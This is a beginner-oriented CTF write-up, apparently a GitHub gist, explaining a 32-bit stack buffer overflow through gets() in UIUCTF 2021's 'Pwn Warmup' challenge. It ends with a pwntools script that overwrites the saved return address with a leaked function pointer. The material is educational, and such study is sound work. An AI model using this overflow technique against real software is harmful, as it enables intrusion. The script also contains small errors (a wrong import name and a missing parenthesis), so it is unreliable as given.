Skip to content

Instantly share code, notes, and snippets.

@downbtn
Last active April 29, 2023 03:45
Show Gist options
  • Save downbtn/0f9330fc881b29868ccd3b0022246bfa to your computer and use it in GitHub Desktop.
Save downbtn/0f9330fc881b29868ccd3b0022246bfa to your computer and use it in GitHub Desktop.
writeup for "pwn warmup" from UIUCTF 2021. officially featured!

UIUCTF 2021 - Pwn Warmup

writeup by downbtn

Quick summary: A fairly straightforward buffer overflow pwn challenge. Smash the stack and overwrite the saved instruction pointer with a value provided by the program. In this writeup I've tried to write in such a way that someone who is very new to CTFs and has little experience with pwn could understand my full reasoning. This means that a veteran player might find this writeup a bit tedious to read, but I hope y'all can bear with me :^)

Challenge Description

Pwn Warmup

Points: 50

Category: pwn,beginner

Hmm this time we arent just going to give you the flag like last year... What can you do?!

nc pwn-warmup.chal.uiuc.tf 1337 author:Thomas

A file is attached named challenge. (sha256sum: c3b00e8f9c62c98dc0b8f3d96e5fea4aa33cca31fe10167bf17be56696387764)

Initial Observations

First let's take a look at the file we're given. We can see that it's a 32-bit Linux executable file and not stripped.

$ file ./challenge
challenge: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=034b38782406afc6cc18a821825f450b3f104091, with debug_info, not stripped

Now let's run it and see what happens.

$ chmod a+x challenge
$ ./challenge
This is SIGPwny stack3, go
&give_flag = 0x80485ab
Hello world
$

As you can see, the program prints out a memory address of some sort, waits for our input, then exits.

Basics of assembly

Originally when I wrote this writeup with a beginner audience in mind I ended up having to explain a lot of basic assembly details throughout the writeup. Even then it still wouldn't make a lot of sense to someone who doesn't have any experience with low level/assembly code. So this section is for explaining some basic concepts of low-level programming so that someone who is new to this stuff can more or less follow along. Feel free to skip this section if this is not new to you.

Since I know I'm not the best at explaining things like this, you may also want to check out LiveOverflow's excellent YouTube series where he explains a lot of these concepts.

Assembly code is the lowest-level kind of code (i.e. closest to the actual hardware) there is. It consists of instructions that are executed by the CPU. Each line in assembly code is one instruction. Different CPUs will have a different set of instructions. The most popular CPU architectures that we will have to deal with are x86, x86-64 (which is a more modern version of x86), and ARM. In this challenge we use x86.

A note about syntax: There are two main ways to write x86 assembly, Intel syntax and AT&T syntax. In this writeup I'll use Intel syntax because it's what I'm used to reading and I think it looks cleaner in general. However, some tools (like gdb) will still have AT&T syntax set to the default.

Registers and RAM

Broadly speaking, all instructions manipulate data in some way. Data in assembly can be stored in two places - RAM and registers. (All the other places you can store data are not relevant now.)

RAM is also known as random access memory. RAM is not as fast to access as a register is, but you can hold much larger values in RAM. Also, registers have their value cleared and changed very often, so if you need some data to be more permanent (such as variables in a program), they are usually stored in RAM.

In order to access RAM, we need something called a memory address. Think of the RAM like a long strip of paper with a series of bytes written on it. A memory address is a number that describes the position in this long string of bytes that you are trying to access. For example, the address 0x00000000 refers to the first byte in memory, 0x00000001 refers to the second byte, and so on. In a 32-bit system, memory addresses are 32 bits long, so there is a total of 2^32 different bytes that we can address in this way. That's about 4GB of addressable memory. In modern systems that are 64-bit, the amount of memory that can be used is even larger.

Whenever a memory address is located in brackets, it means that we're dereferencing it. That is, we're finding the data that is located at that address in memory.

Registers are small pieces of data storage located on the CPU. They are very fast to read and write, but also small and you can't store much data in them. The x86 architecture has 8 general purpose registers (GPRs), 6 segment registers, and 2 other miscellaneous registers.

The 8 general purpose registers are eax, ebx, ecx, edx, esp, ebp, esi, and edi. These all have designated uses, but for now you only have to know that ebp and esp are used to store the stack base and stack pointer (more on this later) and that eax is used to store the return value of functions. In the 32-bit x86 architecture, which is what this challenge uses, all of these registers are 32 bits long.

The segment registers are ds, ss, cs, es, fs, and gs. The segment registers are all 16 bits long and are used to refer to the memory addresses of different segments in the program. For instance, ds is traditionally used to hold the memory address of where static variables are stored. Usually they aren't used too much in modern programs, so it's not really necessary to know what they do.

The eip register is a very special register. Whenever we run a program, the instructions and data of that program are loaded into RAM, and the CPU begins executing the instructions. The eip register holds the memory address of the code that is currently being executed. You can't access eip directly in the same way you access other registers, but you can still affect the value of it in other ways (see below).

The eflags register is another special register. It holds a variety of flags such as ZF (zero flag), IF (interrupt flag), and so on. Whenever you do a comparison between some values, the flags are modified to show the results of the comparison (greater than, less than, etc). eflags also holds other information about the program execution, but those are not as important to know for basic CTF challenges.

Here's a diagram to help you understand: Diagram of CPU, registers and RAM

Some basic x86 instructions

Instruction What it does
mov Copies data from one place to another. For example, to copy the value of ebx into eax, you would use the instruction mov eax, ebx. You can also use mov with constant values, for example, mov ebx, 0xdeadbeef.
push Pushes a value onto the stack. See below where I explain the stack.
pop Pops a value off the stack. See below where I explain the stack.
jmp Jumps to a memory address and begins executing the code there. It's more or less equivalent to mov eip, address. For example, if we wanted to jump to the address 0x41414141, we would use jmp 0x41414141.

This isn't an exhaustive list --- you can (and should!) look up any instructions that you don't recognize or understand online. This site may help you, as well as Intel's instruction set reference.

The stack

The stack is a data structure in memory used to store data that is local to the current function. Anything we store on the stack will be lost when the current function is finished executing.

The stack is a last-in, first-out data structure. That means that the last value that we put into the stack will be the first value that we take out of the stack.We put values into the stack with the push instruction and take them out with the pop instruction. If you're having trouble understanding this, try visualizing a stack of lunch trays, each with a value written on them. When we push a tray on top of the stack, it will also be the first tray that we would get if we popped the top tray off of the stack.

Let's take a look at how exactly we use the push and pop instructions. When we use push, we give it a value as an argument to push onto the stack. For instance, the following code pushes 0x41414141 onto the top of the stack.

push 0x41414141

Then we can use pop to take the value off of the stack. We need to pass as an argument the location to put the popped value. For example, this code would push 0x41414141 onto the stack then pop it into ecx.

push 0x41414141
pop ecx

The stack grows from high addresses to low addresses --- so the "top" of the stack will actually be located at a lower address than the "bottom". Remember the general-purpose register esp? That comes into play here. esp stores the address of the "top" of the stack, that is, it stores the address of the spot where the next value pushed onto the stack will go.

Here's a diagram to help you understand: Diagram of the stack

Function calls

If you have some background in computer science, you'll know what a function is. In order to call a function in assembly, we must first pass arguments and then jump to the function with the call instruction. In the x86 architecture, arguments to a function are passed in reverse order on the stack. That is, we push them onto the stack backwards. Return values are stored in eax.

For instance, if we wanted to call foo(1, 2, 3, 4) we would use the following code:

push 4
push 3
push 2
push 1
foo

You will most likely see code like this at the beginning of each function.

push ebp
mov ebp, esp
sub esp, somenumber

What this is doing is creating new space at the end of the stack to store local variables. This new space is called a stack frame. The amount of bytes that you subtract from esp will determine the size of the stack frame. When the program is done executing, it will clean up the stack frame (restoring the old values of ebp and esp). This is the reason why variables on the stack are local to each function. (Note that the ebp register is used to store the base of the current stack frame.)

That might be a bit confusing, so here's a picture of what happens when a program establishes a new stack frame. Diagram of making a new stack frame

All of this will be important later - remember it!

Reading and analyzing the assembly code

Now let's disassemble the program in gdb and see what it does. First let's see what functions there are.

(gdb) info functions
All defined functions:

File challenge.c:
5:      void give_flag();
25:     void main();
19:     void vulnerable();

Non-debugging symbols:
0x080483dc  _init
0x08048410  printf@plt
0x08048420  gets@plt
0x08048430  fclose@plt
0x08048440  puts@plt
0x08048450  __gmon_start__@plt
0x08048460  __libc_start_main@plt
0x08048470  setvbuf@plt
0x08048480  fopen@plt
0x08048490  putchar@plt
0x080484a0  fgetc@plt
0x080484b0  _start
0x080484e0  __x86.get_pc_thunk.bx
0x080484f0  deregister_tm_clones
0x08048520  register_tm_clones
0x08048560  __do_global_dtors_aux
0x08048580  frame_dummy
0x080486a0  __libc_csu_init
0x08048710  __libc_csu_fini
0x08048714  _fini

From this we can see a few things.

First, when we exclude all the compiler-generated functions, we see that this program is a C program. Functions like setvbuf, fclose, puts and fgetc are all part of the C standard library. Not only that, but this file has some debug metadata and identifies the source code file as challenge.c. In fact, most low-level pwn CTF challenges are going to be written in C.

Second, because this program is not stripped, we can observe that the functions that were in the original code are give_flag, main and vulnerable. We can also infer that give_flag is going to be a function that prints the flag (i.e. we need to find some way to call this function!), and vulnerable is the function that we will have to find some way to exploit.

Dissassemble main and understanding function calls

Let's move on and look at the actual code, starting with main since that's the entry point for a C program.

(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
   0x08048631 <+0>:     lea    ecx,[esp+0x4]
   0x08048635 <+4>:     and    esp,0xfffffff0
   0x08048638 <+7>:     push   DWORD PTR [ecx-0x4]
   0x0804863b <+10>:    push   ebp
   0x0804863c <+11>:    mov    ebp,esp
   0x0804863e <+13>:    push   ecx
   0x0804863f <+14>:    sub    esp,0x4
   0x08048642 <+17>:    mov    eax,ds:0x8049a00
   0x08048647 <+22>:    push   0x0
   0x08048649 <+24>:    push   0x2
   0x0804864b <+26>:    push   0x0
   0x0804864d <+28>:    push   eax
   0x0804864e <+29>:    call   0x8048470 <setvbuf@plt>
   0x08048653 <+34>:    add    esp,0x10
   0x08048656 <+37>:    mov    eax,ds:0x8049a20
   0x0804865b <+42>:    push   0x0
   0x0804865d <+44>:    push   0x2
   0x0804865f <+46>:    push   0x0
   0x08048661 <+48>:    push   eax
   0x08048662 <+49>:    call   0x8048470 <setvbuf@plt>
   0x08048667 <+54>:    add    esp,0x10
   0x0804866a <+57>:    sub    esp,0xc
   0x0804866d <+60>:    push   0x8048754
   0x08048672 <+65>:    call   0x8048440 <puts@plt>
   0x08048677 <+70>:    add    esp,0x10
   0x0804867a <+73>:    sub    esp,0x8
   0x0804867d <+76>:    push   0x80485ab
   0x08048682 <+81>:    push   0x804876f
   0x08048687 <+86>:    call   0x8048410 <printf@plt>
   0x0804868c <+91>:    add    esp,0x10
   0x0804868f <+94>:    call   0x804861a <vulnerable>
   0x08048694 <+99>:    mov    ecx,DWORD PTR [ebp-0x4]
   0x08048697 <+102>:   leave
   0x08048698 <+103>:   lea    esp,[ecx-0x4]
   0x0804869b <+106>:   ret
End of assembler dump.

The first few instructions set up the stack frame (more about what this is will be explained later). Then, we see two calls to setvbuf (main+29 and main+49), one call to puts (main+65), a call to printf (main+86) then a call to vulnerable.

If we read the documentation for setvbuf, puts, and printf, we can infer the following:

  • The calls to setvbuf are probably just to make sure that the I/O does not break on the remote server
  • The call to puts is probably what prints out This is SIGPwny stack3, go
  • The call to printf is probably what prints out the address of give_flag

Let's take a closer look at the printf call because we want to know what exactly this address that's printed out means.

   0x0804867d <+76>:    push   0x80485ab
   0x08048682 <+81>:    push   0x804876f
   0x08048687 <+86>:    call   0x8048410 <printf@plt>

As it turns out, the first argument that's pushed onto the stack (0x80485ab) is actually the address of the function give_flag:

(gdb) info address give_flag
Symbol "give_flag" is a function at address 0x80485ab.

The next argument pushed onto the stack is most likely a string, so let's examine that:

(gdb) x/s 0x804876f
0x804876f:      "&give_flag = %p\n"

Remember that arguments are pushed onto the stack in reverse order. So these instructions translate to:

printf("&give_flag = %p\n", &give_flag);

From this analysis we see that the value printed out is actually a pointer to a function called give_flag. We can assume that this function will print out the flag (and because this is a 50 point challenge, it's not likely that the organizers are trolling us here). Now we need to find how we can call this function pointer.

Analyze vulnerable and discover stack buffer overflow

Let's take a closer look at vulnerable, which from its name appears to be the function that we have to exploit.

(gdb) disassemble vulnerable
Dump of assembler code for function vulnerable:
   0x0804861a <+0>:     push   ebp
   0x0804861b <+1>:     mov    ebp,esp
   0x0804861d <+3>:     sub    esp,0x18
   0x08048620 <+6>:     sub    esp,0xc
   0x08048623 <+9>:     lea    eax,[ebp-0x10]
   0x08048626 <+12>:    push   eax
   0x08048627 <+13>:    call   0x8048420 <gets@plt>
   0x0804862c <+18>:    add    esp,0x10
   0x0804862f <+21>:    leave  
   0x08048630 <+22>:    ret    
End of assembler dump.

Let's break this function down a bit because even though it's small, it's crucial to being able to solve this challenge.

   0x0804861a <+0>:     push   ebp
   0x0804861b <+1>:     mov    ebp,esp
   0x0804861d <+3>:     sub    esp,0x18
   0x08048620 <+6>:     sub    esp,0xc

These lines establish the stack frame, as I explained above. Since we subtract 0x18 and then 0xc, it looks like our stack frame is 0x18+0xc=0x24 or 36 bytes in size.

   0x08048623 <+9>:     lea    eax,[ebp-0x10]
   0x08048626 <+12>:    push   eax
   0x08048627 <+13>:    call   0x8048420 <gets@plt>

This is the most important part of the function and contains the vulnerability. But before I explain why this is vulnerable, let's just understand what this does.First, the lea instruction loads the value ebp-0x10 into the eax register. (Note that even though ebp-0x10 is in brackets, it doesn't get dereferenced in this case because lea is a special instruction. If the second argument to lea is in brackets, it doesn't dereference the address and merely performs the calculation before loading the value into the location provided.) So this section basically calls the function gets on a variable located at ebp-0x10.

   0x0804862c <+18>:    add    esp,0x10
   0x0804862f <+21>:    leave  
   0x08048630 <+22>:    ret    

This section simply cleans up the stack frame and returns back to main.

Stack buffer overflow vulnerability

Let's return to the part of the function vulnerable that is actually vulnerable.

   0x08048623 <+9>:     lea    eax,[ebp-0x10]
   0x08048626 <+12>:    push   eax
   0x08048627 <+13>:    call   0x8048420 <gets@plt>

What's wrong with this part of the code? It may not be visible at first glance, but the issue is with the function gets. Let's read the documentation for the function gets.

DESCRIPTION
       Never use this function.

       gets()  reads  a  line from stdin into the buffer pointed to by s until
       either a terminating newline or EOF, which it replaces with a null byte
       ('\0').  No check for buffer overrun is performed (see BUGS below).

What this means is that gets reads a line from the terminal and saves it into a variable, similar to functions like input() in Python. However, its fatal flaw is that it doesn't check the length of the input provided. This causes something known as a buffer overflow vulnerability.

A buffer overflow vulnerability occurs when it is possible to write input into a buffer that is larger than the buffer is able to hold. In this instance, our buffer only has a length of 0x10 or 16. But gets does not check the length of the input that we are writing into it. This means that we might be able to overwrite data that we are not supposed to access.

This diagram visually illustrates what I mean by a buffer overflow: Buffer overflow diagram

Overwriting the stored instruction pointer

We've now discovered a buffer overflow vulnerability in the program we are analyzing. That's great, but how can we use this vulnerability to get the flag? Remember, we still need to find a way to make the program jump to the give_flag function.

In order to do that, we need to understand what happens when a function is called. When we call a function, we know that at some point we will return. How does the program know where to return after the function is finished? In order to solve this problem, the call instruction actually causes the current instruction pointer to be pushed onto the stack before jumping to the function. So call vulnerable is actually equivalent more or less to push eip; jmp vulnerable. In the same way, ret is equivalent to pop eip.

To help you understand better what's going on, here's a diagram with an example of a function being called. Diagram of stack when a function is called

What does this mean? This means that if we could overwrite enough bytes to reach the stored value of eip, we could overwrite it with a pointer to give_flag. Then when the program returned, it would end up jumping to give_flag instead of going back to main and ending the program normally.

Now we have a plan for how we can exploit this buffer overflow vulnerability to gain access to program execution.

Developing an exploit

Find the padding length

Here's the plan. We will overflow the buffer of this program by inputting a long string of bytes that end with the address of give_flag. This will overwrite the saved value of eip and jump the program to give_flag instead of going back to main. The problem that we are now faced with is this. How many bytes do we have to input before we input the address of give_flag?

Let's take a closer look at what the stack would look like once vulnerable is called. Drawing a diagram is very helpful. Diagram of stack when vulnerable is called

We can see that our starting point for overwriting the stack is going to be ebp-0x10. So in order to reach the base of the stack frame we need to overwrite 0x10 or 16 bytes. After that we need an extra 4 bytes to overwrite the saved value ofebp, then the next four bytes would overwrite the saved instruction pointer, which is where we want to place the address of give_flag. So in total, we need 20 bytes of garbage before we put the address of give_flag.

Exploiting the remote server with pwntools

Remember the host and port that was provided in the challenge description? If we connect to the port that was provided, we end up with the same program we have on our desktop.

$ nc pwn-warmup.chal.uiuc.tf 1337
== proof-of-work: disabled ==
This is SIGPwny stack3, go
&give_flag = 0x565fe2ad

In order to get the flag, we will have to exploit this program on the challenge server, where the flag is stored. Because we will have to read the address of give_flag then convert it into bytes on-the-fly, we have to write a script to do this for us. I'm going to be using a very handy Python library called pwntools that really makes the whole process of writing an exploit script easier.

Let me show you the step-by-step process of writing an exploit script.

#!/usr/bin/env python3
from pwntools import *

These are the first few lines of the script. The first line defines that this file is a Python script and the second line imports many helpful functions from pwntools.

padding = b'A'*20

As we discovered above, we will need to have 20 bytes of other data before we overwrite the saved instruction pointer. So I created a byte-string of As to fill up those 20 bytes. (Note that we need to use a byte-string because in Python 3, normal strings are Unicode and thus can't be directly put into memory.)

conn = remote('pwn-warmup.chal.uiuc.tf', 1337)

This uses pwntools to establish a connection to the remote server with the given host and port. We will then use this conn object to send and receive data from the program, which is running on the server, in order to exploit it and get the flag.

print(conn.recvline())

This receives the first line of data from the server (which just says == proof-of-work: disabled ==) and prints it out. We don't really care about this data so we may as well print it out.

print(conn.recvuntil(b'=')

Next we know that the address to give_flag will be printed out. So we use pwntools to receive data until we hit a = character, which is printed just before the address of give_flag. We also don't care about this data so we can just print it out.

address = int(conn.recvline(), 16)

This section receives data until we reach a newline character (that is, it reads the address of give_flag) and then converts it to an int object. We need to pass 16 as the 2nd argument to the int constructor because the address is printed out in base 16.

Now we can assemble our payload and send it off.

payload = padding+p32(address)
conn.send(payload)
conn.interactive()

Note the usage of the function p32. This converts the int address into a sequence of bytes that would be equivalent to that number in memory. We then stick these bytes at the end of our padding bytes and send it off. Finally, conn.interactive() makes the connection interactive (like when using nc) so that we can get the flag.

Flag and conclusion

We run the script and find that it works.

$ python exploit.py
[+] Opening connection to pwn-warmup.chal.uiuc.tf on port 1337: Done
b'== proof-of-work: disabled ==\n'
b'This is SIGPwny stack3, go\n&give_flag ='
[*] Switching to interactive mode
$ 
uiuctf{k3b0ard_sp@m_do3snT_w0rk_anYm0r3}
[*] Got EOF while reading in interactive

In conclusion, pwn_warmup is a beginner pwn challenge that contains a fairly simple stack-based buffer overflow to overwrite the saved instruction pointer. In this writeup we've looked at how a stack buffer overflow works and how we can exploit this to get the flag. We've also seen how to write a simple exploit script with pwntools and Python. I hope this writeup might help someone who is new to CTFs and pwn challenges or doesn't quite understand them.

If you're interested and want to learn more about pwning, I would recommend you to watch LiveOverflow's YouTube series on this that I have already mentioned. He explains these concepts in an understandable way and shows plenty of diagrams and examples. Episode 14 deals with a similar topic as this writeup.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment